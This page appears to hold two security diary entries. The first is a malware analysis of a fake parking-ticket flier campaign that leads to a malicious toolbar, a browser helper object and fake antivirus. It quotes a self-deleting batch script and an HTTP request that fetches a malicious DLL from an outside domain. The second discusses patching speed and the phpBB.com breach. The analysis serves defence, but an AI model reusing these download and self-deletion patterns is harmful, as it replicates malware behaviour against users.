Malware infection that began with windshield fliers
I had the opportunity to examine malware whose initial infection vector was a car windshield flier with a website address. The malicious programs were run-of-the-mill; however, the use of fliers was an innovative way of social-engineering potential victims into visiting a malicious website.
Several days ago, yellow fliers were placed on the cards in Grand Forks, ND. They stated:
PARKING VIOLATION This vehicle is in violation of standard parking regulations. To view pictures with information about your parking preferences, go to website-redacted
If you went to the website, you'd see several photos of cars on parking lots in that specific town, including:
EXIF data in JPG files shows that they were edited using Paint Shop Pro Photo 12 to remove license plate details of the cars and that the photos were taken using a Sony DSC-P32 camera.
Installing PictureSearchToolbar.exe led to DNS queries for childhe.com, a domain with a bad reputation according to Symantec, McAfee, etc. Even without the Internet connection, the program installed (extracted) a DLL into C:\WINDOWS\system32. The name was random, such as tuvwwUlj.dll and iifdbCVn.dll. The MD5 of the DLL was 5f7e6f158592f0a5036d79cc63388d29.
PictureSearchToolbar.exe was deleted via the following batch file, whichw as created in the %Temp% folder and left behind. The file name (e.g., awttsqQG.bat) and labels were likely random:
@echo off
:jkkHXRkJ
del %1
if exist %1 goto jkkHXRkJ
rem wvUoPhICgeBqNhgHhgGxVPFUtuvVNFYrxxyxVoOHfccyyyWo
The malicious DLL was installed as an Internet Explorer Browser Helper Object (BHO) once the system is rebooted.
If the DLL could resolve childhe.com, then it issueed the following HTTP request to it on port 80:
GET /pas/apstpldr.dll.html?affid=177194&uid=&guid=4E83C7975FCD44B091226646F461D891
HTTP/1.1
Accept: */*
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: childhe.com
Connection: Keep-Alive
"affid" didn't seem to change; it was probably the tracker ID for who should be getting paid or for how the campaign was working. "guid" seems to change across experiments. User-Agent was probably the actual User-Agent that was used on the infected system.
The request retrieved a malicious DLL, apstpldr.dll (MD5 4a56334f3f65d45d90aa15c1bd2f3484). It is a known malicious DLL; for an overview of one of its variants (a different MD5 sum), see the ThreatExpert report.
The apstpldr.dll file was packed with generic UPX. Unpacked MD5 abf04d02a97aa95e41a269c84261947e. Once the system was rebooted, the BHO was installed. The BHO seemed to wait for the user to browse the Internet a bit, and then brings up a pop-up with a fake security alert:
The victim was then redirected to http://bestantispy waresecurityscan.com/promo/1/freescan.php?nu=770522177194 and presented with additional fake infection warnings.
The victim was then asked to install a fake anti-virus scanner (MD5 2cb4ebb20e3178b6d8cbba95032da353). A few anti-virus companies detect this as a dropper; see the VirusTotal report.
GET /windowsupdate/v6/thanks.aspx HTTP/1.1User-Agent: MozillaHost: update.microsoft.comCache-Control: no-cache
That's when I ran out of time, and decided not to continue following the infection trail.
So there you have it, folks. The initial program installed itself as a browser helper object (BHO) for Internet Exploter that downloaded a component from childhe.com and attempted to trick the victim into installing a fake anti-virus scanner from bestantispyware securityscan.com and protectionsoft warecheck.com.
Attackers continue to come up with creative ways of tricking potential victims into installing malicious software. Merging physical and virtual worlds via objects that point to websites is one way to do this. I imagine we'll be seeing such approaches more often. If you have seen other examples like this, let us know.
Liked this? Post it to Twitter!
-- Lenny
Lenny Zeltser - Security Consulting
Lenny teaches malware analysis at SANS Institute. You're welcome to follow him on Twitter. You can also track new Internet Storm Center diaries by following ISC on Twitter.
On the importance of patching fast
Patching
Every month we create an overview of the patches released by Microsoft on black Tuesday. Over the years we learned that our readers like to have our idea of what to patch more urgently than what else, mainly due to them getting burned with patches that broke other stuff.
While I create many of those overviews with very important help behind the scenes of the rest of the handlers, the cycle we collectively implement to delay patching is something that keeps me concerned as it might very well be just not fast enough. Personally, I think we might need to evolve our re-testing (the vendor already tested) of patches to be far more lean and mean.
Especially since the amount of feedback we get on a monthly basis of the Microsoft patches causing trouble dwindled to a very tiny amount of really minor issues, I feel we have helped build a too heavy process in many organizations that results in patches being deployed rather slowly. Perhaps too slow, see the cautionary tale below.
PHPList
PHPList is an open-source newsletter manager. It is written in php. On January 29th 2009 they posted a software update. "[The update] fixes a local file include vulnerability.This vulnerability allows attackers to display the contents of files on the server, which can aid them to gain unauthorised access".
They also included a one-line workaround if you could not patch fast enough.
UPDATE: An exploit against this vulnerability was published and used in the wild on Jan 14th 2009, 2 weeks before the patch was issued.
pbpBB
phpBB Is an open-source bulletin board software. It is written in php as well, but product-wise the relation with PHPlist stops there.
UPDATED: please read the updated details below as well, they change the basic setting of this significantly. Instead of just erasing this, please see it as a fictional story that might have happened and has some useful things to learn from it regardless of facts catching up us. The events to the best of our knowledge are under the update heading below.
The www.phpBB.com server however had the PHPlist software installed and February 1st 2009 -merely 3 days later-, they got hit by an attack against PHPlist.
The attack was not only successful, but the attackers got hold of the list of email addresses in the phpBB announcement list, the encrypted passwords of all of the users of the phpBB forum on phpBB.com, and published that.
While the phpBB software was not the path the attackers followed to get on the server, the impact is for all users of phpBB.com's forum and mailing lists, many of them being administrators of phpBB installations. Let's hope they do not use the same login/password combination elsewhere.
Learn lessons
We can either learn from falling our selves, and standing up again, or we can try to be a bit smarter and also learn from what made others fall.
How long would your organization have taken to have a roll-out of a patch released on Thursday? Would it have been implemented on all servers well before Sunday?
Are we ready to patch in less than 3 days time, even if that includes a weekend? If not, we might need to accelerate things:
- How do we find out about patches being available ? Make sure we're warned for all software we use!
- How to we test (if we test?) and validate we're going to implement it in production? Even if it is a weekend?
- How do we choose between the turn-around times of a workaround vs. that of a full patch ?
The odds in this game are high. All the attacker has to do is find a single hole. While it's our job to fix them all. Moreover the reputation of our respective organizations depends on our success at staying safe and ahead of all the attackers.
Update
We're been given additional information regarding the incident above, changing the story above quite a bit.
- The story didn't begin on Jan 29th as noted above, but quite a bit earlier.
- On Jan 14th an exploit was made public on one of the well known exploit publishing sites against phplist
- That exploit was used against www.phpBB.com's instance of phplist on Jan 14th.
- So in essence the this break-in was done well before there was a patch available (a so-called "0-day")
This also means the lessons above -while still very valid lessons to learn, it could have been true aren't derived from a real set of events, and need to be expanded with far harder things:
- Do you know if the software you have deployed has publicly known exploits against it? How do you find out?
- Can you keep track of vulnerabilities in software you use and make sure they all get a timely patch?
- When do you switch tactics on waiting for a software vendor/maker to issue a patch and start to do something yourself?
These are very, very hard questions to ask. A lot of trust in suppliers of software is put in the balance if you try to answer these questions.
- How do you detect break-ins that only steal information ?
The answer to this is a basically the answer to the need for a "detect loss of confidentiality" control. The most common solution to this is to monitor the access to the information for anomalies, but even then it's by far not easy to get this right without a lot of false positives or the risk of true negatives.
--
Swa Frantzen -- Section 66
Comments